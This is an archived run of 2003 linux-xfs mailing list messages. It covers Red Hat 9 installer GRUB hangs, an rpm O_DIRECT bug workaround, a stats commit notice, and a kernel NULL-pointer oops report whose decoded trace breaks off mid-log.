Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Sep 26 10:41:47 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 10:42:04 -0700 (PDT) Received: from linux-sxs.org (d60-65-142-166.col.wideopenwest.com [65.60.166.142]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QHfkFx004036 for ; Fri, 26 Sep 2003 10:41:46 -0700 Received: from linux-sxs.org (localhost [127.0.0.1]) by linux-sxs.org (8.12.10/8.12.10) with ESMTP id h8QHfPET002709; Fri, 26 Sep 2003 13:41:33 -0400 Received: from localhost (netllama@localhost) by linux-sxs.org (8.12.10/8.12.10/Submit) with ESMTP id h8QHfGtH021331; Fri, 26 Sep 2003 13:41:25 -0400 Date: Fri, 26 Sep 2003 13:41:16 -0400 (EDT) From: Net Llama! To: Aly Dharshi cc: linux-xfs@oss.sgi.com Subject: Re: Installer CD for XFS 1.3 In-Reply-To: <1064596055.14988.8.camel@localhost> Message-ID: References: <1064596055.14988.8.camel@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: OK, scanned by File::Scan,ClamAV X-Scanned-By: MIMEDefang 2.37 X-archive-position: 547 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: netllama@linux-sxs.org Precedence: bulk X-list: linux-xfs Content-Length: 435 Lines: 20 Which bootloader? grub or LILO? don't use grub. On Fri, 26 Sep 2003, Aly Dharshi wrote: > Hi Folks, > > Has anybody encountered the error whereby they get a sort of hanging > problem while installing the bootloader in RH9. > > Cheers, > > Aly. > > -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Lonni J Friedman netllama@linux-sxs.org Linux Step-by-step & TyGeMo http://netllama.ipfox.com From owner-linux-xfs@oss.sgi.com Fri Sep 26 10:51:20 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 10:51:25 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QHpKFx005135 for ; Fri, 26 Sep 2003 10:51:20 -0700 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8QHpEq0027946 for ; Fri, 26 Sep 2003 10:51:15 -0700 Received: from stout.americas.sgi.com (localhost [127.0.0.1]) by stout.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8QHpDTd026190; Fri, 26 Sep 2003 12:51:13 -0500 Received: (from sandeen@localhost) by stout.americas.sgi.com (8.12.8/8.12.8/Submit) id h8QHpD5K026188; Fri, 26 Sep 2003 12:51:13 -0500 Date: Fri, 26 Sep 2003 12:51:13 -0500 From: Eric Sandeen Message-Id: <200309261751.h8QHpD5K026188@stout.americas.sgi.com> Subject: PARTIAL TAKE 899288 - Rework linux-xfs to use per-cpu vars for xfsstats. X-archive-position: 548 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@stout.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 535 Lines: 18 Re-work pagebuf & xfs stats to use per-cpu variables - big globals that are written all the time Date: Fri Sep 26 10:49:45 PDT 2003 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.5.x-xfs/workarea The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:159069a linux/fs/xfs/linux/xfs_stats.c - 1.15 linux/fs/xfs/linux/xfs_stats.h - 1.9 linux/fs/xfs/linux/xfs_sysctl.c - 1.23 linux/fs/xfs/pagebuf/page_buf.c - 1.124 linux/fs/xfs/pagebuf/page_buf_internal.h - 1.27 From owner-linux-xfs@oss.sgi.com Fri Sep 26 11:48:56 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 11:49:12 -0700 (PDT) Received: from mensa.uleth.ca (mensa.uleth.ca [142.66.3.44]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QImtFx010326 for ; Fri, 26 Sep 2003 11:48:56 -0700 Received: from juliet.netsrv.uleth.ca ([142.66.35.164]:55242) by mensa.uleth.ca with esmtp (Exim 4.22) id 1A2xeB-0005dP-9D; Fri, 26 Sep 2003 12:48:55 -0600 Received: from loki.cs.uleth.ca ([142.66.56.59]:40900) by juliet.netsrv.uleth.ca with esmtp (Exim 4.22) id 1A2xeB-00049H-5b; Fri, 26 Sep 2003 12:48:55 -0600 Subject: Re: Installer CD for XFS 1.3 From: Aly Dharshi To: Steve Lord Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064596936.1214.42.camel@jen.americas.sgi.com> References: <1064596055.14988.8.camel@localhost> <1064596936.1214.42.camel@jen.americas.sgi.com> Content-Type: text/plain Message-Id: <1064602134.14988.13.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 26 Sep 2003 12:48:55 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 549 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: aly.dharshi@uleth.ca Precedence: bulk X-list: linux-xfs Content-Length: 1599 Lines: 50 Hello , I hope that you are well. I think that killing grub was good enough it seems to finish the install but boots up in text mode, which is easy to fix. Thanks for the advice though. But I encounter rpm installation problems, like trying to update the up2date utility, it seems to spit out a whole bunch of db4 related errors and that it finds the resource unavailable. I don't know if this is something that is related to the installer1.3 as it never was a problem in installer1.2 Cheers, Aly. On Fri, 2003-09-26 at 11:22, Steve Lord wrote: > On Fri, 2003-09-26 at 12:07, Aly Dharshi wrote: > > Hi Folks, > > > > Has anybody encountered the error whereby they get a sort of hanging > > problem while installing the bootloader in RH9. > > I hit it 4 times on 4 machines last week, seems to be very simple. > You need to switch to the console with a shell on it and kill grub, > it is in a cpu loop. > > Then do a chroot to the root of the install tree (/mnt/install I think) > and run grub there. > > Inside grub to > > root (hd0,x) > setup (hd0) > > that assumes hd0 is the disk containing the /boot directory and x > is the partition number on that disk. > > Then return to the installer and complete the installation. > > Steve -- Aly S.P Dharshi aly.dharshi@uleth.ca Southern Alberta Digital Library Project "A good speech is like a good dress that's short enough to be interesting and long enough to cover the subject" From owner-linux-xfs@oss.sgi.com Fri Sep 26 11:59:53 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 11:59:58 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QIxqFx011428 for ; Fri, 26 Sep 2003 11:59:53 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8QH32OO022818 for ; Fri, 26 Sep 2003 10:03:02 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8QIxlcc11814546; Fri, 26 Sep 2003 13:59:47 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8QIxlSn30198300; Fri, 26 Sep 2003 13:59:47 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8QIxkkf005659; Fri, 26 Sep 2003 13:59:46 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8QIxjHI005657; Fri, 26 Sep 2003 13:59:45 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: Installer CD for XFS 1.3 From: Steve Lord To: Aly Dharshi Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064602134.14988.13.camel@localhost> References: <1064596055.14988.8.camel@localhost> <1064596936.1214.42.camel@jen.americas.sgi.com> <1064602134.14988.13.camel@localhost> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064602785.1211.47.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 26 Sep 2003 13:59:45 -0500 X-archive-position: 550 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 1096 Lines: 29 On Fri, 2003-09-26 at 13:48, Aly Dharshi wrote: > Hello , > > I hope that you are well. I think that killing grub was good enough it > seems to finish the install but boots up in text mode, which is easy to > fix. Thanks for the advice though. > > But I encounter rpm installation problems, like trying to update the > up2date utility, it seems to spit out a whole bunch of db4 related > errors and that it finds the resource unavailable. I don't know if this > is something that is related to the installer1.3 as it never was a > problem in installer1.2 > Now you have hit the bug in rpm in the 9.0 release, it attempts to do O_DIRECT but sends a misaligned buffer. You need to run rpm with the environment variable LD_ASSUME_KERNEL set to 2.2.5. Newer rpm packages from rpm.org do not have this problem. The reason this does not show in normal redhat setups is they have O_DIRECT turned off in the kernel. We have it enabled for XFS. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Sep 26 12:51:10 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 12:51:27 -0700 (PDT) Received: from mensa.uleth.ca (mensa.uleth.ca [142.66.3.44]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QJp9Fx018012 for ; Fri, 26 Sep 2003 12:51:10 -0700 Received: from juliet.netsrv.uleth.ca ([142.66.35.164]:60960) by mensa.uleth.ca with esmtp (Exim 4.22) id 1A2ycP-0004jq-Ix; Fri, 26 Sep 2003 13:51:09 -0600 Received: from loki.cs.uleth.ca ([142.66.56.59]:41031) by juliet.netsrv.uleth.ca with esmtp (Exim 4.22) id 1A2ycP-0006zv-E1; Fri, 26 Sep 2003 13:51:09 -0600 Subject: Re: Installer CD for XFS 1.3 From: Aly Dharshi To: Steve Lord Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064602785.1211.47.camel@jen.americas.sgi.com> References: <1064596055.14988.8.camel@localhost> <1064596936.1214.42.camel@jen.americas.sgi.com> <1064602134.14988.13.camel@localhost> <1064602785.1211.47.camel@jen.americas.sgi.com> Content-Type: text/plain Message-Id: <1064605869.14988.15.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 26 Sep 2003 13:51:09 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 551 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: aly.dharshi@uleth.ca Precedence: bulk X-list: linux-xfs Content-Length: 1497 Lines: 42 Hello Steve, I hope that you are well, thanks for your help. I seem to see it working. Cheers, Aly. On Fri, 2003-09-26 at 12:59, Steve Lord wrote: > On Fri, 2003-09-26 at 13:48, Aly Dharshi wrote: > > Hello , > > > > I hope that you are well. I think that killing grub was good enough it > > seems to finish the install but boots up in text mode, which is easy to > > fix. Thanks for the advice though. > > > > But I encounter rpm installation problems, like trying to update the > > up2date utility, it seems to spit out a whole bunch of db4 related > > errors and that it finds the resource unavailable. I don't know if this > > is something that is related to the installer1.3 as it never was a > > problem in installer1.2 > > > Now you have hit the bug in rpm in the 9.0 release, it attempts to > do O_DIRECT but sends a misaligned buffer. You need to run rpm with > the environment variable LD_ASSUME_KERNEL set to 2.2.5. > > Newer rpm packages from rpm.org do not have this problem. > > The reason this does not show in normal redhat setups is they have > O_DIRECT turned off in the kernel. We have it enabled for XFS. > > Steve -- Aly S.P Dharshi aly.dharshi@uleth.ca Southern Alberta Digital Library Project "A good speech is like a good dress that's short enough to be interesting and long enough to cover the subject" From owner-linux-xfs@oss.sgi.com Fri Sep 26 12:52:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 12:52:41 -0700 (PDT) Received: from mensa.uleth.ca (mensa.uleth.ca [142.66.3.44]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QJqaFx018366 for ; Fri, 26 Sep 2003 12:52:36 -0700 Received: from juliet.netsrv.uleth.ca ([142.66.35.164]:32866) by mensa.uleth.ca with esmtp (Exim 4.22) id 1A2ydn-0004xu-Vc for linux-xfs@oss.sgi.com; Fri, 26 Sep 2003 13:52:35 -0600 Received: from loki.cs.uleth.ca ([142.66.56.59]:41033) by juliet.netsrv.uleth.ca with esmtp (Exim 4.22) id 1A2ydn-00074v-QK for linux-xfs@oss.sgi.com; Fri, 26 Sep 2003 13:52:35 -0600 Subject: Kernel Updates From: Aly Dharshi To: linux-xfs@oss.sgi.com Content-Type: text/plain Message-Id: <1064605955.14988.18.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 26 Sep 2003 13:52:35 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 552 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: aly.dharshi@uleth.ca Precedence: bulk X-list: linux-xfs Content-Length: 474 Lines: 18 Hi Gurus, Is anybody maintaining a rpm repository for latest/errata updates for the xfs-kernels for RH9 ? Cheers, Aly. -- Aly S.P Dharshi aly.dharshi@uleth.ca Southern Alberta Digital Library Project "A good speech is like a good dress that's short enough to be interesting and long enough to cover the subject" From owner-linux-xfs@oss.sgi.com Fri Sep 26 13:02:03 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 13:02:08 -0700 (PDT) Received: from mensa.uleth.ca (mensa.uleth.ca [142.66.3.44]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QK22Fx019412 for ; Fri, 26 Sep 2003 13:02:02 -0700 Received: from juliet.netsrv.uleth.ca ([142.66.35.164]:33745) by mensa.uleth.ca with esmtp (Exim 4.22) id 1A2ymv-0005tr-Us; Fri, 26 Sep 2003 14:02:01 -0600 Received: from loki.cs.uleth.ca ([142.66.56.59]:41107) by juliet.netsrv.uleth.ca with esmtp (Exim 4.22) id 1A2ymv-0007UT-Pg; Fri, 26 Sep 2003 14:02:01 -0600 Subject: Re: Installer CD for XFS 1.3 From: Aly Dharshi To: Steve Lord Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064602785.1211.47.camel@jen.americas.sgi.com> References: <1064596055.14988.8.camel@localhost> <1064596936.1214.42.camel@jen.americas.sgi.com> <1064602134.14988.13.camel@localhost> <1064602785.1211.47.camel@jen.americas.sgi.com> Content-Type: text/plain Message-Id: <1064606521.14988.21.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 26 Sep 2003 14:02:01 -0600 Content-Transfer-Encoding: 7bit X-archive-position: 553 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: aly.dharshi@uleth.ca Precedence: bulk X-list: linux-xfs Content-Length: 963 Lines: 30 Hi Steve, I am curious why this rpm problem doesn't occur in the installer1.2 cd with rpm version 4.2 and does occur in installer1.3, is the O_DIRECT option turned off for that kernerl ? Cheers, Aly. > Now you have hit the bug in rpm in the 9.0 release, it attempts to > do O_DIRECT but sends a misaligned buffer. You need to run rpm with > the environment variable LD_ASSUME_KERNEL set to 2.2.5. > > Newer rpm packages from rpm.org do not have this problem. > > The reason this does not show in normal redhat setups is they have > O_DIRECT turned off in the kernel. We have it enabled for XFS. > > Steve -- Aly S.P Dharshi aly.dharshi@uleth.ca Southern Alberta Digital Library Project "A good speech is like a good dress that's short enough to be interesting and long enough to cover the subject" From owner-linux-xfs@oss.sgi.com Fri Sep 26 13:06:45 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 13:06:54 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QK6jFx019897 for ; Fri, 26 Sep 2003 13:06:45 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8QI9sOO025418 for ; Fri, 26 Sep 2003 11:09:54 -0700 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8QK6dcc11809199; Fri, 26 Sep 2003 15:06:39 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by poppy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8QK6dK11419302; Fri, 26 Sep 2003 15:06:39 -0500 (CDT) Subject: Re: Kernel Updates From: Eric Sandeen To: Aly Dharshi Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064605955.14988.18.camel@localhost> References: <1064605955.14988.18.camel@localhost> Content-Type: text/plain Organization: Message-Id: <1064606798.22121.16.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 26 Sep 2003 15:06:39 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 554 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 462 Lines: 19 Try Axel's stuff at http://atrpms.physik.fu-berlin.de/ - very up to date, has XFS 1.3 and a couple of other small changes in the kernel. -Eric On Fri, 2003-09-26 at 14:52, Aly Dharshi wrote: > Hi Gurus, > > Is anybody maintaining a rpm repository for latest/errata updates for > the xfs-kernels for RH9 ? > > Cheers, > > Aly. > -- Eric Sandeen [C]XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Sep 26 14:03:31 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 26 Sep 2003 14:03:36 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8QL3VFx020940 for ; Fri, 26 Sep 2003 14:03:31 -0700 Received: from flecktone.americas.sgi.com (flecktone.americas.sgi.com [192.48.203.135]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8QL3Pq0009444 for ; Fri, 26 Sep 2003 14:03:25 -0700 Received: from tulip-e236.americas.sgi.com (tulip-e236.americas.sgi.com [128.162.236.208]) by flecktone.americas.sgi.com (8.12.9/8.12.9/generic_config-1.2) with ESMTP id h8QL3Pcc11800904; Fri, 26 Sep 2003 16:03:25 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.232.100]) by tulip-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8QL3PSn30184782; Fri, 26 Sep 2003 16:03:25 -0500 (CDT) Received: from jen.americas.sgi.com (localhost.localdomain [127.0.0.1]) by jen.americas.sgi.com (8.12.8/8.12.8) with ESMTP id h8QL3Okf006029; Fri, 26 Sep 2003 16:03:24 -0500 Received: (from lord@localhost) by jen.americas.sgi.com (8.12.8/8.12.8/Submit) id h8QL3N8t006027; Fri, 26 Sep 2003 16:03:23 -0500 X-Authentication-Warning: jen.americas.sgi.com: lord set sender to lord@sgi.com using -f Subject: Re: Installer CD for XFS 1.3 From: Steve Lord To: Aly Dharshi Cc: linux-xfs@oss.sgi.com In-Reply-To: <1064606521.14988.21.camel@localhost> References: <1064596055.14988.8.camel@localhost> <1064596936.1214.42.camel@jen.americas.sgi.com> <1064602134.14988.13.camel@localhost> <1064602785.1211.47.camel@jen.americas.sgi.com> <1064606521.14988.21.camel@localhost> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1064610202.1214.79.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Date: 26 Sep 2003 16:03:23 -0500 X-archive-position: 555 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 523 Lines: 17 On Fri, 2003-09-26 at 15:02, Aly Dharshi wrote: > Hi Steve, > > I am curious why this rpm problem doesn't occur in the installer1.2 cd > with rpm version 4.2 and does occur in installer1.3, is the O_DIRECT > option turned off for that kernerl ? It is all tied with the version of the rpm package you are installing, when 1.2 came out, rpm did not have this behavior. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Sat Sep 27 10:42:19 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sat, 27 Sep 2003 10:42:41 -0700 (PDT) Received: from adsl-63-202-77-221.dsl.snfc21.pacbell.net (adsl-67-114-19-186.dsl.pltn13.pacbell.net [67.114.19.186]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8RHgHFx004702 for ; Sat, 27 Sep 2003 10:42:17 -0700 Received: (qmail 30771 invoked from network); 27 Sep 2003 12:32:55 -0000 Received: from unknown (HELO tupshin.com) (172.16.1.50) by adsl-67-114-19-185.dsl.pltn13.pacbell.net with SMTP; 27 Sep 2003 12:32:55 -0000 Message-ID: <3F75CBF8.6060609@tupshin.com> Date: Sat, 27 Sep 2003 10:42:16 -0700 From: Tupshin Harper User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20030924 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-kernel@vger.kernel.org, linux-xfs@oss.sgi.com Subject: 2.6.0-test5 NULL pointer apparently in xfs Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 556 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tupshin@tupshin.com Precedence: bulk X-list: linux-xfs Content-Length: 13379 Lines: 273 Let me know if more info would be helpful. -Tupshin Sep 27 07:03:33 bastard kernel: Unable to handle kernel NULL pointer dereference at virtual address 0000005c Sep 27 07:03:33 bastard kernel: c0282f8d Sep 27 07:03:33 bastard kernel: *pde = 00000000 Sep 27 07:03:33 bastard kernel: Oops: 0002 [#1] Sep 27 07:03:33 bastard kernel: CPU: 0 Sep 27 07:03:33 bastard kernel: EIP: 0060:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 Sep 27 07:03:33 bastard kernel: EFLAGS: 00010246 Sep 27 07:03:33 bastard kernel: eax: 00000000 ebx: 00000000 ecx: c05059bc edx: 00000000 Sep 27 07:03:33 bastard kernel: esi: f7dfb378 edi: 00000000 ebp: 00000000 esp: ef751784 Sep 27 07:03:33 bastard kernel: ds: 007b es: 007b ss: 0068 Sep 27 07:03:33 bastard kernel: Stack: f7dfb378 000008d0 00000000 efba8400 00000000 efba8400 c0299455 efba8400 Sep 27 07:03:33 bastard kernel: 0000000f 00000000 0000e35a fffffff1 ffffffff 00000010 00000000 00000000 Sep 27 07:03:33 bastard kernel: 0000e35a 00000000 00000000 00000000 00000010 00000000 00000000 00000000 Sep 27 07:03:33 bastard kernel: Call Trace: Sep 27 07:03:33 bastard kernel: [] xfs_iomap_write_allocate+0xc5/0x4d0 Sep 27 07:03:33 bastard kernel: [] xfs_trans_unlocked_item+0x39/0x60 Sep 27 07:03:33 bastard kernel: [] xfs_iomap+0x40c/0x550 Sep 27 07:03:33 bastard kernel: [] map_blocks+0x72/0x130 Sep 27 07:03:33 bastard kernel: [] page_state_convert+0x4c7/0x620 Sep 27 07:03:33 bastard kernel: [] mempool_alloc+0x75/0x160 Sep 27 07:03:33 bastard kernel: [] __block_write_full_page+0x1ba/0x3d0 Sep 27 07:03:33 bastard kernel: [] as_update_arq+0x2e/0x80 Sep 27 07:03:33 bastard kernel: [] linvfs_writepage+0x5c/0x110 Sep 27 07:03:33 bastard kernel: [] shrink_list+0x349/0x550 Sep 27 07:03:33 bastard kernel: [] __pagevec_release+0x28/0x40 Sep 27 07:03:33 bastard kernel: [] __map_bio+0x3c/0x100 Sep 27 07:03:33 bastard kernel: [] shrink_cache+0x185/0x300 Sep 27 07:03:33 bastard kernel: [] __ide_dma_count+0x13/0x20 Sep 27 07:03:33 bastard kernel: [] shrink_zone+0x7c/0xb0 Sep 27 07:03:33 bastard kernel: [] shrink_caches+0xac/0xd0 Sep 27 07:03:33 bastard kernel: [] try_to_free_pages+0xa2/0x160 Sep 27 07:03:33 bastard kernel: [] __alloc_pages+0x1d1/0x320 Sep 27 07:03:33 bastard kernel: [] __get_free_pages+0x1f/0x50 Sep 27 07:03:33 bastard kernel: [] cache_grow+0xb5/0x250 Sep 27 07:03:33 bastard kernel: [] cache_alloc_refill+0x15b/0x220 Sep 27 07:03:33 bastard kernel: [] xfs_dir2_block_lookup_int+0x52/0x1a0 Sep 27 07:03:33 bastard kernel: [] kmem_cache_alloc+0x3e/0x40 Sep 27 07:03:33 bastard kernel: [] _xfs_trans_alloc+0x35/0xb0 Sep 27 07:03:33 bastard kernel: [] xfs_create+0x117/0x790 Sep 27 07:03:33 bastard kernel: [] xfs_attr_get+0x4b/0x50 Sep 27 07:03:33 bastard kernel: [] xfs_acl_vhasacl_default+0x3b/0x50 Sep 27 07:03:33 bastard kernel: [] linvfs_mknod+0x334/0x3e0 Sep 27 07:03:33 bastard kernel: [] xfs_dir2_block_lookup+0x2f/0xd0 Sep 27 07:03:33 bastard kernel: [] xfs_dir2_lookup+0xc3/0x140 Sep 27 07:03:33 bastard kernel: [] buffered_rmqueue+0xd1/0x170 Sep 27 07:03:33 bastard kernel: [] in_group_p+0x25/0x30 Sep 27 07:03:33 bastard kernel: [] xfs_dir_lookup_int+0x4c/0x130 Sep 27 07:03:33 bastard kernel: [] vfs_create+0xbb/0x140 Sep 27 07:03:33 bastard kernel: [] open_namei+0x3b4/0x410 Sep 27 07:03:33 bastard kernel: [] filp_open+0x3e/0x70 Sep 27 07:03:33 bastard kernel: [] sys_open+0x5b/0x90 Sep 27 07:03:33 bastard kernel: [] syscall_call+0x7/0xb Sep 27 07:03:33 bastard kernel: Code: c7 43 5c 00 00 00 00 c7 03 4e 41 52 54 8b 44 24 20 89 43 18 >>EIP; c0282f8d <_xfs_trans_alloc+5d/b0> <===== >>ecx; c05059bc >>esi; f7dfb378 <__crc_iw_handler_get_spy+15f44a/35994c> >>esp; ef751784 <__crc_ide_unregister_subdriver+12f15a/20e1b5> Trace; c0299455 Trace; c0284729 Trace; c029892c Trace; c0293c62 Trace; c0294d27 Trace; c013beb5 Trace; c01577da <__block_write_full_page+1ba/3d0> Trace; c02fc19e Trace; c029552c Trace; c0142e79 Trace; c0141e88 <__pagevec_release+28/40> Trace; c036659c <__map_bio+3c/100> Trace; c0143205 Trace; c0324b03 <__ide_dma_count+13/20> Trace; c014390c Trace; c01439ec Trace; c0143ab2 Trace; c013d2f1 <__alloc_pages+1d1/320> Trace; c013d45f <__get_free_pages+1f/50> Trace; c0140215 Trace; c014050b Trace; c02581f2 Trace; c01407de Trace; c0282f65 <_xfs_trans_alloc+35/b0> Trace; c028bfe7 Trace; c02360ab Trace; c022e0bb Trace; c0299ea4 Trace; c02580ff Trace; c0256593 Trace; c013d081 Trace; c012d545 Trace; c028637c Trace; c01631cb Trace; c0163834 Trace; c01535fe Trace; c0153abb Trace; c010b39b Code; c0282f8d <_xfs_trans_alloc+5d/b0> 00000000 <_EIP>: Code; c0282f8d <_xfs_trans_alloc+5d/b0> <===== 0: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) <===== Code; c0282f94 <_xfs_trans_alloc+64/b0> 7: c7 03 4e 41 52 54 movl $0x5452414e,(%ebx) Code; c0282f9a <_xfs_trans_alloc+6a/b0> d: 8b 44 24 20 mov 0x20(%esp,1),%eax Code; c0282f9e <_xfs_trans_alloc+6e/b0> 11: 89 43 18 mov %eax,0x18(%ebx) Sep 27 07:04:00 bastard kernel: Unable to handle kernel NULL pointer dereference at virtual address 0000005c Sep 27 07:04:00 bastard kernel: c0282f8d Sep 27 07:04:00 bastard kernel: *pde = 00000000 Sep 27 07:04:00 bastard kernel: Oops: 0002 [#2] Sep 27 07:04:00 bastard kernel: CPU: 0 Sep 27 07:04:00 bastard kernel: EIP: 0060:[] Not tainted Sep 27 07:04:00 bastard kernel: EFLAGS: 00010246 Sep 27 07:04:00 bastard kernel: eax: 00000000 ebx: 00000000 ecx: c05059bc edx: 00000000 Sep 27 07:04:00 bastard kernel: esi: f7dfb378 edi: 00000000 ebp: 00000000 esp: f7dcb63c Sep 27 07:04:00 bastard kernel: ds: 007b es: 007b ss: 0068 Sep 27 07:04:00 bastard kernel: Stack: f7dfb378 000008d0 00000000 efba8400 00000000 efba8400 c0299455 efba8400 Sep 27 07:04:00 bastard kernel: 